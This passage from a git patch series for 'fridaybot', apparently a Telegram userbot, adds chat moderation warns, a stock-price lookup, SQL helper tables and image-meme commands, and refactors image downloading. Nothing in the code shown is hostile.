+ # ziph is zipfile handle
+ for root, dirs, files in os.walk(path):
+ for file in files:
+ ziph.write(os.path.join(root, file))
+ os.remove(os.path.join(root, file))
+
+
+@borg.on(admin_cmd(pattern="unzip"))
+async def _(event):
+ if event.fwd_from:
+ return
+ mone = await event.edit("Processing ...")
+ if not os.path.isdir(Config.TMP_DOWNLOAD_DIRECTORY):
+ os.makedirs(Config.TMP_DOWNLOAD_DIRECTORY)
+ if event.reply_to_msg_id:
+ start = datetime.now()
+ reply_message = await event.get_reply_message()
+ try:
+ t.time()
+ downloaded_file_name = await bot.download_media(
+ reply_message,
+ Config.TMP_DOWNLOAD_DIRECTORY,
+ )
except Exception as e: # pylint:disable=C0103,W0703
await mone.edit(str(e))
else:
@@ -59,33 +98,11 @@ async def _(event):
force_document = True
supports_streaming = False
document_attributes = []
- if single_file.endswith((".mp4", ".mp3", ".flac", ".webm")):
- metadata = extractMetadata(createParser(single_file))
- duration = 0
- width = 0
- height = 0
- if metadata.has("duration"):
- duration = metadata.get("duration").seconds
- if os.path.exists(thumb_image_path):
- metadata = extractMetadata(createParser(thumb_image_path))
- if metadata.has("width"):
- width = metadata.get("width")
- if metadata.has("height"):
- height = metadata.get("height")
- document_attributes = [
- DocumentAttributeVideo(
- duration=duration,
- w=width,
- h=height,
- round_message=False,
- supports_streaming=True,
- )
- ]
try:
- await borg.send_file(
+ await bot.send_file(
event.chat_id,
single_file,
- caption=f"UnZipped `{caption_rts}`",
+ caption=f"**Unzipped** `{caption_rts}`",
force_document=force_document,
supports_streaming=supports_streaming,
allow_cache=False,
@@ -96,7 +113,7 @@ async def _(event):
# )
)
except Exception as e:
- await borg.send_message(
+ await bot.send_message(
event.chat_id,
"{} caused `{}`".format(caption_rts, str(e)),
reply_to=event.message.id,
From 04fca8f981af838b82b3a486c9a4811690d5f94c Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:26:05 +0530
Subject: [PATCH 133/838] Update requirements.txt
---
requirements.txt | 12 ++++++++++++
1 file changed, 12 insertions(+)
diff --git a/requirements.txt b/requirements.txt
index 69a24e0e..d411878c 100644
--- a/requirements.txt
+++ b/requirements.txt
@@ -62,6 +62,18 @@ pyjokes
cryptocompare
cryptosteganography
faker
+apscheduler
+git+https://github.com/gleitz/howdoi
+pokedex.py
+PyProxyToolkit
+cairosvg
+grapheme
+QScintilla
+requests_html
+flask
+yahoo_fin
+anime_downloader
+pandas
pydub
validators
googletrans==3.1.0a0
From ba3d8bbeee1ec151d8e6ebe3a29521202698abad Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:27:00 +0530
Subject: [PATCH 134/838] Create warns.py
---
fridaybot/modules/warns.py | 169 +++++++++++++++++++++++++++++++++++++
1 file changed, 169 insertions(+)
create mode 100644 fridaybot/modules/warns.py
diff --git a/fridaybot/modules/warns.py b/fridaybot/modules/warns.py
new file mode 100644
index 00000000..fcc1efdd
--- /dev/null
+++ b/fridaybot/modules/warns.py
@@ -0,0 +1,169 @@
+from fridaybot.modules.sql_helper import warns_sql as sql
+from fridaybot.utils import friday_on_cmd
+
+
+@friday.on(friday_on_cmd(pattern="warn(?: |$)(.*)"))
+async def _s(event):
+ user, reason = await get_user_from_event(event)
+ sed = await friday.get_permissions(event.chat_id, user.id)
+ if sed.is_admin:
+ await event.edit("`Demn, Admins Can't Be Warned`")
+ return
+ dragon = await friday.get_permissions(event.chat_id, bot.uid)
+ if not dragon.is_admin:
+ await event.edit("`Demn, Me nOT Admin`")
+ return
+ limit, soft_warn = sql.get_warn_setting(event.chat_id)
+ num_warns, reasons = sql.warn_user(user.id, event.chat_id, reason)
+ if num_warns >= limit:
+ sql.reset_warns(user.id, event.chat_id)
+ if soft_warn:
+ await friday.kick_participant(event.chat_id, user.id)
+ reply = "{} warnings, {} has been kicked!".format(limit, user.id)
+ await event.edit(reply)
+ else:
+ await friday.edit_permissions(event.chat_id, user.id, view_messages=False)
+ reply = "{} warnings, {} has been banned!".format(
+ limit, user.id, user.first_name
+ )
+ await event.edit(reply)
+ for warn_reason in reasons:
+ reply += "\n - {}".format(warn_reason)
+ else:
+ reply = "{} has {}/{} warnings... watch out!".format(user.id, num_warns, limit)
+ if reason:
+ reply += "\nReason for last warn:\n{}".format(reason)
+ await event.edit(reply)
+
+
+@friday.on(friday_on_cmd(pattern="rwarn(?: |$)(.*)"))
+async def _(event):
+ user, reason = await get_user_from_event(event)
+ sed = await friday.get_permissions(event.chat_id, user.id)
+ if sed.is_admin:
+ await event.edit("Demn, Admins Can't Be Warned")
+ return
+ dragon = await friday.get_permissions(event.chat_id, bot.uid)
+ if not dragon.is_admin:
+ await event.edit("Demn, Me nOT Admin")
+ return
+ sql.reset_warns(user.id, event.chat_id)
+ await event.edit("Warnings have been reset!")
+
+
+@friday.on(friday_on_cmd(pattern="allwarns(?: |$)(.*)"))
+async def __(event):
+ user, reason = await get_user_from_event(event)
+ result = sql.get_warns(user.id, event.chat_id)
+ if result and result[0] != 0:
+ num_warns, reasons = result
+ limit, soft_warn = sql.get_warn_setting(event.chat_id)
+ if reasons:
+ text = (
+ "This user has {}/{} warnings, for the following reasons: \n\n".format(
+ num_warns, limit
+ )
+ )
+ for reason in reasons:
+ text += "- {} \n".format(reason)
+ await event.edit(text)
+ else:
+ await event.edit(
+ "User has {}/{} warnings, but no reasons for any of them.".format(
+ num_warns, limit
+ )
+ )
+ else:
+ await event.edit("This user hasn't got any warnings!")
+
+
+@friday.on(friday_on_cmd(pattern="slimit ?(.*)"))
+async def m_(event):
+ args = event.pattern_match.group(1)
+ if args:
+ if args.isdigit():
+ if int(args) < 3:
+ await event.edit("The minimum warn limit is 3!")
+ else:
+ sql.set_warn_limit(event.chat_id, int(args))
+ await event.edit("Updated the warn limit to {}".format(args))
+ else:
+ await event.edit("Give me a number as an arg!")
+ else:
+ limit, soft_warn = sql.get_warn_setting(event.chat_id)
+ await event.edit("The current warn limit is {}".format(limit))
+
+
+@friday.on(friday_on_cmd(pattern="wap ?(.*)"))
+async def m_(event):
+ args = event.pattern_match.group(1)
+ if args:
+ if args.lower() in ("on", "yes"):
+ sql.set_warn_strength(event.chat_id, False)
+ await event.edit("Too many warns will now result in a ban!")
+ elif args.lower() in ("off", "no"):
+ sql.set_warn_strength(event.chat_id, True)
+ await event.edit(
+ "Too many warns will now result in a kick! Users will be able to join again after."
+ )
+ else:
+ await event.edit("I only understand on/yes/no/off!")
+ else:
+ limit, soft_warn = sql.get_warn_setting(chat.id)
+ if soft_warn:
+ await event.edit(
+ "Warns are currently set to **kick** users when they exceed the limits."
+ )
+ else:
+ await event.edit(
+ "Warns are currently set to **ban** users when they exceed the limits."
+ )
+
+
+async def get_user_from_event(event):
+ """ Get the user from argument or replied message. """
+ args = event.pattern_match.group(1).split(" ", 1)
+ extra = None
+ if event.reply_to_msg_id:
+ previous_message = await event.get_reply_message()
+ user_obj = await event.client.get_entity(previous_message.from_id)
+ extra = event.pattern_match.group(1)
+ elif args:
+ user = args[0]
+ if len(args) == 2:
+ extra = args[1]
+
+ if user.isnumeric():
+ user = int(user)
+
+ if not user:
+ await event.edit("`Pass the user's username, id or reply!`")
+ return
+
+ if event.message.entities is not None:
+ probable_user_mention_entity = event.message.entities[0]
+
+ if isinstance(probable_user_mention_entity, MessageEntityMentionName):
+ user_id = probable_user_mention_entity.user_id
+ user_obj = await event.client.get_entity(user_id)
+ return user_obj
+ try:
+ user_obj = await event.client.get_entity(user)
+ except (TypeError, ValueError) as err:
+ await event.edit(str(err))
+ return None
+
+ return user_obj, extra
+
+
+async def get_user_from_id(user, event):
+ if isinstance(user, str):
+ user = int(user)
+
+ try:
+ user_obj = await event.client.get_entity(user)
+ except (TypeError, ValueError) as err:
+ await event.edit(str(err))
+ return None
+
+ return user_obj
From 2955e024d7de08eaf7ceae7548d7c347acc84525 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:28:21 +0530
Subject: [PATCH 135/838] Create stock_price.py
---
fridaybot/modules/stock_price.py | 49 ++++++++++++++++++++++++++++++++
1 file changed, 49 insertions(+)
create mode 100644 fridaybot/modules/stock_price.py
diff --git a/fridaybot/modules/stock_price.py b/fridaybot/modules/stock_price.py
new file mode 100644
index 00000000..80b20c1c
--- /dev/null
+++ b/fridaybot/modules/stock_price.py
@@ -0,0 +1,49 @@
+import requests
+from yahoo_fin import stock_info as si
+
+from fridaybot import CMD_HELP
+from fridaybot.utils import admin_cmd
+
+
+@friday.on(admin_cmd(pattern="liveprice (.*)"))
+async def _(event):
+ if event.fwd_from:
+ return
+ input_str = event.pattern_match.group(1)
+ try:
+ a = si.get_live_price(input_str)
+
+ def get_symbol(symbol):
+ url = "http://d.yimg.com/autoc.finance.yahoo.com/autoc?query={}®ion=1&lang=en".format(
+ symbol
+ )
+ result = requests.get(url).json()
+ for x in result["ResultSet"]["Result"]:
+ if x["symbol"] == symbol:
+ return x["name"]
+
+ lmao = input_str.upper()
+ company = get_symbol(lmao)
+ if company == None:
+ await event.edit(
+ f"Stock Information Gathered Successfully \n\nLive Price of {lmao} is:- $ {a} USD",
+ parse_mode="HTML",
+ )
+ else:
+ await event.edit(
+ f"Stock Information Gathered Successfully \n\nLive Price of {company} is:- $ {a} USD",
+ parse_mode="HTML",
+ )
+ except AssertionError:
+ await event.edit("There Is No Such Ticker.")
+
+
+CMD_HELP.update(
+ {
+ "stock_price": "**Stock Price**\
+\n\n**Syntax : **`.liveprice `\
+\n**Usage :** Shows Live Price Of Given Shares.\
+\n\n**Example : **`.liveprice tsla`\
+\nThis above syntax shows Tesla's share price in USD."
+ }
+)
From cce899f2dd528745119b6d0e95dacc080586a4d2 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:29:39 +0530
Subject: [PATCH 136/838] Create warns_sql.py
---
fridaybot/modules/sql_helper/warns_sql.py | 313 ++++++++++++++++++++++
1 file changed, 313 insertions(+)
create mode 100644 fridaybot/modules/sql_helper/warns_sql.py
diff --git a/fridaybot/modules/sql_helper/warns_sql.py b/fridaybot/modules/sql_helper/warns_sql.py
new file mode 100644
index 00000000..f1470832
--- /dev/null
+++ b/fridaybot/modules/sql_helper/warns_sql.py
@@ -0,0 +1,313 @@
+import threading
+
+from sqlalchemy import Boolean, Column, Integer, String, UnicodeText, distinct, func
+from sqlalchemy.dialects import postgresql
+
+from fridaybot.modules.sql_helper import BASE, SESSION
+
+
+class Warns(BASE):
+ __tablename__ = "warns"
+
+ user_id = Column(Integer, primary_key=True)
+ chat_id = Column(String(14), primary_key=True)
+ num_warns = Column(Integer, default=0)
+ reasons = Column(postgresql.ARRAY(UnicodeText))
+
+ def __init__(self, user_id, chat_id):
+ self.user_id = user_id
+ self.chat_id = str(chat_id)
+ self.num_warns = 0
+ self.reasons = []
+
+ def __repr__(self):
+ return "<{} warns for {} in {} for reasons {}>".format(
+ self.num_warns, self.user_id, self.chat_id, self.reasons
+ )
+
+
+class WarnFilters(BASE):
+ __tablename__ = "warn_filters"
+ chat_id = Column(String(14), primary_key=True)
+ keyword = Column(UnicodeText, primary_key=True, nullable=False)
+ reply = Column(UnicodeText, nullable=False)
+
+ def __init__(self, chat_id, keyword, reply):
+ self.chat_id = str(chat_id) # ensure string
+ self.keyword = keyword
+ self.reply = reply
+
+ def __repr__(self):
+ return "" % self.chat_id
+
+ def __eq__(self, other):
+ return bool(
+ isinstance(other, WarnFilters)
+ and self.chat_id == other.chat_id
+ and self.keyword == other.keyword
+ )
+
+
+class WarnSettings(BASE):
+ __tablename__ = "warn_settings"
+ chat_id = Column(String(14), primary_key=True)
+ warn_limit = Column(Integer, default=3)
+ soft_warn = Column(Boolean, default=False)
+
+ def __init__(self, chat_id, warn_limit=3, soft_warn=False):
+ self.chat_id = str(chat_id)
+ self.warn_limit = warn_limit
+ self.soft_warn = soft_warn
+
+ def __repr__(self):
+ return "<{} has {} possible warns.>".format(self.chat_id, self.warn_limit)
+
+
+Warns.__table__.create(checkfirst=True)
+WarnFilters.__table__.create(checkfirst=True)
+WarnSettings.__table__.create(checkfirst=True)
+
+WARN_INSERTION_LOCK = threading.RLock()
+WARN_FILTER_INSERTION_LOCK = threading.RLock()
+WARN_SETTINGS_LOCK = threading.RLock()
+
+WARN_FILTERS = {}
+
+
+def warn_user(user_id, chat_id, reason=None):
+ with WARN_INSERTION_LOCK:
+ warned_user = SESSION.query(Warns).get((user_id, str(chat_id)))
+ if not warned_user:
+ warned_user = Warns(user_id, str(chat_id))
+
+ warned_user.num_warns += 1
+ if reason:
+ warned_user.reasons = warned_user.reasons + [
+ reason
+ ] # TODO:: double check this wizardry
+
+ reasons = warned_user.reasons
+ num = warned_user.num_warns
+
+ SESSION.add(warned_user)
+ SESSION.commit()
+
+ return num, reasons
+
+
+def remove_warn(user_id, chat_id):
+ with WARN_INSERTION_LOCK:
+ removed = False
+ warned_user = SESSION.query(Warns).get((user_id, str(chat_id)))
+
+ if warned_user and warned_user.num_warns > 0:
+ warned_user.num_warns -= 1
+
+ SESSION.add(warned_user)
+ SESSION.commit()
+ removed = True
+
+ SESSION.close()
+ return removed
+
+
+def reset_warns(user_id, chat_id):
+ with WARN_INSERTION_LOCK:
+ warned_user = SESSION.query(Warns).get((user_id, str(chat_id)))
+ if warned_user:
+ warned_user.num_warns = 0
+ warned_user.reasons = []
+
+ SESSION.add(warned_user)
+ SESSION.commit()
+ SESSION.close()
+
+
+def get_warns(user_id, chat_id):
+ try:
+ user = SESSION.query(Warns).get((user_id, str(chat_id)))
+ if not user:
+ return None
+ reasons = user.reasons
+ num = user.num_warns
+ return num, reasons
+ finally:
+ SESSION.close()
+
+
+def add_warn_filter(chat_id, keyword, reply):
+ with WARN_FILTER_INSERTION_LOCK:
+ warn_filt = WarnFilters(str(chat_id), keyword, reply)
+
+ if keyword not in WARN_FILTERS.get(str(chat_id), []):
+ WARN_FILTERS[str(chat_id)] = sorted(
+ WARN_FILTERS.get(str(chat_id), []) + [keyword],
+ key=lambda x: (-len(x), x),
+ )
+
+ SESSION.merge(warn_filt) # merge to avoid duplicate key issues
+ SESSION.commit()
+
+
+def remove_warn_filter(chat_id, keyword):
+ with WARN_FILTER_INSERTION_LOCK:
+ warn_filt = SESSION.query(WarnFilters).get((str(chat_id), keyword))
+ if warn_filt:
+ if keyword in WARN_FILTERS.get(str(chat_id), []): # sanity check
+ WARN_FILTERS.get(str(chat_id), []).remove(keyword)
+
+ SESSION.delete(warn_filt)
+ SESSION.commit()
+ return True
+ SESSION.close()
+ return False
+
+
+def get_chat_warn_triggers(chat_id):
+ return WARN_FILTERS.get(str(chat_id), set())
+
+
+def get_chat_warn_filters(chat_id):
+ try:
+ return (
+ SESSION.query(WarnFilters).filter(WarnFilters.chat_id == str(chat_id)).all()
+ )
+ finally:
+ SESSION.close()
+
+
+def get_warn_filter(chat_id, keyword):
+ try:
+ return SESSION.query(WarnFilters).get((str(chat_id), keyword))
+ finally:
+ SESSION.close()
+
+
+def set_warn_limit(chat_id, warn_limit):
+ with WARN_SETTINGS_LOCK:
+ curr_setting = SESSION.query(WarnSettings).get(str(chat_id))
+ if not curr_setting:
+ curr_setting = WarnSettings(chat_id, warn_limit=warn_limit)
+
+ curr_setting.warn_limit = warn_limit
+
+ SESSION.add(curr_setting)
+ SESSION.commit()
+
+
+def set_warn_strength(chat_id, soft_warn):
+ with WARN_SETTINGS_LOCK:
+ curr_setting = SESSION.query(WarnSettings).get(str(chat_id))
+ if not curr_setting:
+ curr_setting = WarnSettings(chat_id, soft_warn=soft_warn)
+
+ curr_setting.soft_warn = soft_warn
+
+ SESSION.add(curr_setting)
+ SESSION.commit()
+
+
+def get_warn_setting(chat_id):
+ try:
+ setting = SESSION.query(WarnSettings).get(str(chat_id))
+ if setting:
+ return setting.warn_limit, setting.soft_warn
+ else:
+ return 3, False
+
+ finally:
+ SESSION.close()
+
+
+def num_warns():
+ try:
+ return SESSION.query(func.sum(Warns.num_warns)).scalar() or 0
+ finally:
+ SESSION.close()
+
+
+def num_warn_chats():
+ try:
+ return SESSION.query(func.count(distinct(Warns.chat_id))).scalar()
+ finally:
+ SESSION.close()
+
+
+def num_warn_filters():
+ try:
+ return SESSION.query(WarnFilters).count()
+ finally:
+ SESSION.close()
+
+
+def num_warn_chat_filters(chat_id):
+ try:
+ return (
+ SESSION.query(WarnFilters.chat_id)
+ .filter(WarnFilters.chat_id == str(chat_id))
+ .count()
+ )
+ finally:
+ SESSION.close()
+
+
+def num_warn_filter_chats():
+ try:
+ return SESSION.query(func.count(distinct(WarnFilters.chat_id))).scalar()
+ finally:
+ SESSION.close()
+
+
+def __load_chat_warn_filters():
+ global WARN_FILTERS
+ try:
+ chats = SESSION.query(WarnFilters.chat_id).distinct().all()
+ for (chat_id,) in chats: # remove tuple by ( ,)
+ WARN_FILTERS[chat_id] = []
+
+ all_filters = SESSION.query(WarnFilters).all()
+ for x in all_filters:
+ WARN_FILTERS[x.chat_id] += [x.keyword]
+
+ WARN_FILTERS = {
+ x: sorted(set(y), key=lambda i: (-len(i), i))
+ for x, y in WARN_FILTERS.items()
+ }
+
+ finally:
+ SESSION.close()
+
+
+def migrate_chat(old_chat_id, new_chat_id):
+ with WARN_INSERTION_LOCK:
+ chat_notes = (
+ SESSION.query(Warns).filter(Warns.chat_id == str(old_chat_id)).all()
+ )
+ for note in chat_notes:
+ note.chat_id = str(new_chat_id)
+ SESSION.commit()
+
+ with WARN_FILTER_INSERTION_LOCK:
+ chat_filters = (
+ SESSION.query(WarnFilters)
+ .filter(WarnFilters.chat_id == str(old_chat_id))
+ .all()
+ )
+ for filt in chat_filters:
+ filt.chat_id = str(new_chat_id)
+ SESSION.commit()
+ WARN_FILTERS[str(new_chat_id)] = WARN_FILTERS[str(old_chat_id)]
+ del WARN_FILTERS[str(old_chat_id)]
+
+ with WARN_SETTINGS_LOCK:
+ chat_settings = (
+ SESSION.query(WarnSettings)
+ .filter(WarnSettings.chat_id == str(old_chat_id))
+ .all()
+ )
+ for setting in chat_settings:
+ setting.chat_id = str(new_chat_id)
+ SESSION.commit()
+
+
+__load_chat_warn_filters()
From 728d064ff20f747afdcbaffaa44cb6e90c1a3eb5 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:30:50 +0530
Subject: [PATCH 137/838] Create PostAppender_sql.py
---
.../modules/sql_helper/PostAppender_sql.py | 57 +++++++++++++++++++
1 file changed, 57 insertions(+)
create mode 100644 fridaybot/modules/sql_helper/PostAppender_sql.py
diff --git a/fridaybot/modules/sql_helper/PostAppender_sql.py b/fridaybot/modules/sql_helper/PostAppender_sql.py
new file mode 100644
index 00000000..3c15abfa
--- /dev/null
+++ b/fridaybot/modules/sql_helper/PostAppender_sql.py
@@ -0,0 +1,57 @@
+from sqlalchemy import Boolean, Column, String, UnicodeText
+
+from fridaybot.modules.sql_helper import BASE, SESSION
+
+
+class Pa(BASE):
+ __tablename__ = "pa"
+ chat_id = Column(String(14), primary_key=True)
+ textto_append = Column(UnicodeText)
+ append_foot = Column(Boolean, default=False)
+
+ def __init__(self, chat_id, textto_append, append_foot):
+ self.chat_id = chat_id
+ self.append_foot = append_foot
+ self.textto_append = textto_append
+
+
+Pa.__table__.create(checkfirst=True)
+
+
+def add_new_datas_in_db(chat_id: int, textto_append, append_foot):
+ setting_adder = Pa(str(chat_id), textto_append, append_foot)
+ SESSION.add(setting_adder)
+ SESSION.commit()
+
+
+def get_all_setting_data(chat_id: int):
+ try:
+ s__ = SESSION.query(Pa).get(str(chat_id))
+ return int(s__.chat_id), s__.append_foot, s__.textto_append
+ finally:
+ SESSION.close()
+
+
+def is_data_indbs(chat_id: int):
+ try:
+ s__ = SESSION.query(Pa).get(str(chat_id))
+ if s__:
+ return s__.textto_append
+ finally:
+ SESSION.close()
+
+
+def is_footer(chat_id: int):
+ try:
+ s__ = SESSION.query(Pa).get(str(chat_id))
+ if s__:
+ return s__.append_foot
+ finally:
+ SESSION.close()
+
+
+def remove_dataz(chat_id):
+ lul = SESSION.query(Pa).get(str(chat_id))
+ if lul:
+ SESSION.delete(lul)
+ SESSION.commit()
From 043a74bf17eeca8b62f5afd197090af38eff181f Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:32:13 +0530
Subject: [PATCH 138/838] Update sangmata.py
From 7a7627b61b8a9d28182b312011750e9100c15965 Mon Sep 17 00:00:00 2001
From: Inuka ASiTH <70461117+InukaAsith@users.noreply.github.com>
Date: Fri, 25 Dec 2020 00:33:53 +0530
Subject: [PATCH 139/838] Update imagetools.py
---
fridaybot/modules/imagetools.py | 236 ++++++++++++++++++++++----------
1 file changed, 167 insertions(+), 69 deletions(-)
diff --git a/fridaybot/modules/imagetools.py b/fridaybot/modules/imagetools.py
index cdf31a76..5d8df57b 100644
--- a/fridaybot/modules/imagetools.py
+++ b/fridaybot/modules/imagetools.py
@@ -11,16 +11,16 @@
# You should have received a copy of the GNU Affero General Public License
# along with this program. If not, see .
-import os
+import os
+from shutil import rmtree
import cv2
import numpy as np
import requests
-from PIL import Image
+from PIL import Image, ImageDraw, ImageFont
from telegraph import upload_file
-from telethon.tl.types import MessageMediaPhoto
-
from fridaybot import CMD_HELP
+from fridaybot.function import convert_to_image, crop_vid, runcmd
from fridaybot.utils import friday_on_cmd, sudo_cmd
sedpath = "./starkgangz/"
@@ -35,18 +35,13 @@ async def hmm(event):
await event.reply("Reply to any Image.")
return
hmmu = await event.edit("Colourzing..")
- sed = await event.get_reply_message()
- if isinstance(sed.media, MessageMediaPhoto):
- img = await borg.download_media(sed.media, sedpath)
- elif "image" in sed.media.document.mime_type.split("/"):
- img = await borg.download_media(sed.media, sedpath)
- else:
- await event.edit("Reply To Image")
- return
+ await event.get_reply_message()
+ img = await convert_to_image(event, borg)
net = cv2.dnn.readNetFromCaffe(
"./resources/imgcolour/colouregex.prototxt",
"./resources/imgcolour/colorization_release_v2.caffemodel",
)
+
pts = np.load("./resources/imgcolour/pts_in_hull.npy")
class8 = net.getLayerId("class8_ab")
conv8 = net.getLayerId("conv8_313_rh")
@@ -90,14 +85,8 @@ async def hmm(event):
return
headers = {"api-key": life}
hmm = await event.edit("Colourzing..")
- sed = await event.get_reply_message()
- if isinstance(sed.media, MessageMediaPhoto):
- img = await borg.download_media(sed.media, sedpath)
- elif "image" in sed.media.document.mime_type.split("/"):
- img = await borg.download_media(sed.media, sedpath)
- else:
- await event.edit("Reply To Image")
- return
+ await event.get_reply_message()
+ img = await convert_to_image(event, borg)
img_file = {
"image": open(img, "rb"),
}
@@ -120,14 +109,8 @@ async def iamthug(event):
await event.reply("Reply to any Image.")
return
hmm = await event.edit("`Converting To thug Image..`")
- sed = await event.get_reply_message()
- if isinstance(sed.media, MessageMediaPhoto):
- img = await borg.download_media(sed.media, sedpath)
- elif "image" in sed.media.document.mime_type.split("/"):
- img = await borg.download_media(sed.media, sedpath)
- else:
- await event.edit("Reply To Image")
- return
+ await event.get_reply_message()
+ img = await convert_to_image(event, borg)
imagePath = img
maskPath = "./resources/thuglife/mask.png"
cascPath = "./resources/thuglife/face_regex.xml"
@@ -151,11 +134,6 @@ async def iamthug(event):
os.remove(files)
-import os
-
-import cv2
-
-
@friday.on(friday_on_cmd(pattern=r"tni"))
@friday.on(sudo_cmd(pattern=r"tni", allow_sudo=True))
async def toony(event):
@@ -163,14 +141,8 @@ async def toony(event):
await event.reply("Reply to any Image.")
return
hmmu = await event.edit("`Converting Toonized Image..`")
- sed = await event.get_reply_message()
- if isinstance(sed.media, MessageMediaPhoto):
- img = await borg.download_media(sed.media, sedpath)
- elif "image" in sed.media.document.mime_type.split("/"):
- img = await borg.download_media(sed.media, sedpath)
- else:
- await event.edit("Reply To Image")
- return
+ await event.get_reply_message()
+ img = await convert_to_image(event, borg)
imagez = cv2.imread(img)
cartoon_image_style_2 = cv2.stylization(
imagez, sigma_s=60, sigma_r=0.5
@@ -193,13 +165,7 @@ async def toony(event):
async def lolmetrg(event):
await event.edit("`Triggered This Image`")
sed = await event.get_reply_message()
- if isinstance(sed.media, MessageMediaPhoto):
- img = await borg.download_media(sed.media, sedpath)
- elif "image" in sed.media.document.mime_type.split("/"):
- img = await borg.download_media(sed.media, sedpath)
- else:
- await event.edit("Reply To Image")
- return
+ img = await convert_to_image(event, borg)
url_s = upload_file(img)
imglink = f"https://telegra.ph{url_s[0]}"
lolul = f"https://some-random-api.ml/canvas/triggered?avatar={imglink}"
@@ -221,15 +187,9 @@ async def hmm(event):
await event.reply("Reply to any Image.")
return
hmmu = await event.edit("hmm... Sending him to jail...🚶")
- sed = await event.get_reply_message()
- if isinstance(sed.media, MessageMediaPhoto):
- img = await borg.download_media(sed.media, sedpath)
- elif "image" in sed.media.document.mime_type.split("/"):
- img = await borg.download_media(sed.media, sedpath)
- else:
- await event.edit("Reply To Image")
- return
- mon = "./resources/jail/jail.png"
+ await event.get_reply_message()
+ img = await convert_to_image(event, borg)
+ mon = "./resources/jail/hmm.png"
foreground = Image.open(mon).convert("RGBA")
background = Image.open(img).convert("RGB")
@@ -249,7 +209,6 @@ async def hmm(event):
os.remove(files)
-
@friday.on(friday_on_cmd(pattern=r"greyscale"))
@friday.on(sudo_cmd(pattern=r"greyscale", allow_sudo=True))
async def hmm(event):
@@ -257,23 +216,15 @@ async def hmm(event):
await event.reply("Reply to any Image.")
return
hmmu = await event.edit("hmm.. Creating a black&White image...")
- sed = await event.get_reply_message()
- if isinstance(sed.media, MessageMediaPhoto):
- img = await borg.download_media(sed.media, sedpath)
- elif "image" in sed.media.document.mime_type.split("/"):
- img = await borg.download_media(sed.media, sedpath)
- else:
- await event.edit("Reply To Image")
- return
+ await event.get_reply_message()
+ img = await convert_to_image(event, borg)
img1 = cv2.imread(img)
-
gray_img = cv2.cvtColor(img1, cv2.COLOR_BGR2GRAY)
-
cv2.imwrite("./starkgangz/testing.png", gray_img)
file_name = "testing.png"
- ok = "./starkgangz/" + file_name
+ ok = "./starkgangz/" + file_name
await borg.send_file(event.chat_id, ok)
await hmmu.delete()
for files in (ok, img):
@@ -281,7 +232,150 @@ async def hmm(event):
os.remove(files)
+# Plugin By - XlayerCharon[XCB]
+# TG ~>>//@CharonCB21
+# @code-rgb
+@friday.on(friday_on_cmd(pattern=r"fgs ?(.*)"))
+@friday.on(sudo_cmd(pattern=r"fgs ?(.*)", allow_sudo=True))
+async def img(event):
+ text = event.pattern_match.group(1)
+ if not text:
+ await event.edit("No input found!")
+ return
+ if ";" in text:
+ search, result = text.split(";", 1)
+ else:
+ event.edit("Invalid Input! Check help for more info!")
+ return
+ photo = Image.open("resources/dummy_image/fgs.jpg")
+ drawing = ImageDraw.Draw(photo)
+ blue = (0, 0, 255)
+ black = (0, 0, 0)
+ font1 = ImageFont.truetype("Fonts/ProductSans-BoldItalic.ttf", 20)
+ font2 = ImageFont.truetype("Fonts/ProductSans-Light.ttf", 23)
+ drawing.text((450, 258), result, fill=blue, font=font1)
+ drawing.text((270, 37), search, fill=black, font=font2)
+ file_name = "fgs.jpg"
+ ok = sedpath + "/" + file_name
+ photo.save(ok)
+ await event.delete()
+ await friday.send_file(event.chat_id, ok)
+ if os.path.exists(ok):
+ os.remove(ok)
+
+
+@friday.on(friday_on_cmd(pattern=r"lg"))
+@friday.on(sudo_cmd(pattern=r"lg", allow_sudo=True))
+async def lottiepie(event):
+ await event.edit("`Prooooooccccesssssssinggggg.....`")
+ message = await event.get_reply_message()
+ if message.media and message.media.document:
+ mime_type = message.media.document.mime_type
+ if not "tgsticker" in mime_type:
+ await event.edit("Not Supported Yet.")
+ return
+ await message.download_media("tgs.tgs")
+ await runcmd("lottie_convert.py tgs.tgs json.json")
+ json = open("json.json", "r")
+ jsn = json.read()
+ json.close()
+ jsn = (
+ jsn.replace("[1]", "[2]")
+ .replace("[2]", "[3]")
+ .replace("[3]", "[4]")
+ .replace("[4]", "[5]")
+ .replace("[5]", "[6]")
+ )
+ open("json.json", "w").write(jsn)
+ await event.delete()
+ await runcmd(f"lottie_convert.py json.json tgs.tgs")
+ await borg.send_file(event.chat_id, file="tgs.tgs", force_document=False)
+ os.remove("json.json")
+ os.remove("tgs.tgs")
+
+
+@friday.on(friday_on_cmd(pattern=r"ph ?(.*)"))
+@friday.on(sudo_cmd(pattern=r"ph ?(.*)", allow_sudo=True))
+async def img(event):
+ text = event.pattern_match.group(1)
+ if not text:
+ await event.edit("No input found! --__--")
+ return
+ if ":" in text:
+ username, texto = text.split(":", 1)
+ else:
+ event.edit("Invalid Input! Check help for more info!")
+ return
+ img = Image.open("./resources/pb/pb.jpg")
+ d1 = ImageDraw.Draw(img)
+ myFont = ImageFont.truetype("./resources/pb/font.TTF", 100)
+
+ d1.text((300, 700), username, font=myFont, fill=(135, 98, 87))
+
+ d1.text((12, 1000), texto, font=myFont, fill=(203, 202, 202))
+
+ img.save("./starkgangz/testpb.jpg")
+ file_name = "testpb.jpg"
+ ok = "./starkgangz/" + file_name
+ await borg.send_file(event.chat_id, ok)
+ for files in (ok, img):
+ if files and os.path.exists(files):
+ os.remove(files)
+# Credits To These :
+# https://github.com/midnightmadwalk [TG: @MidnightMadwalk]
+# https://github.com/code-rgb [TG: @DeletedUser420]
+# Ported By https://github.com/STARKGANG [TG: @STARKXD]
+
+
+@friday.on(friday_on_cmd(pattern=r"spin ?(.*)"))
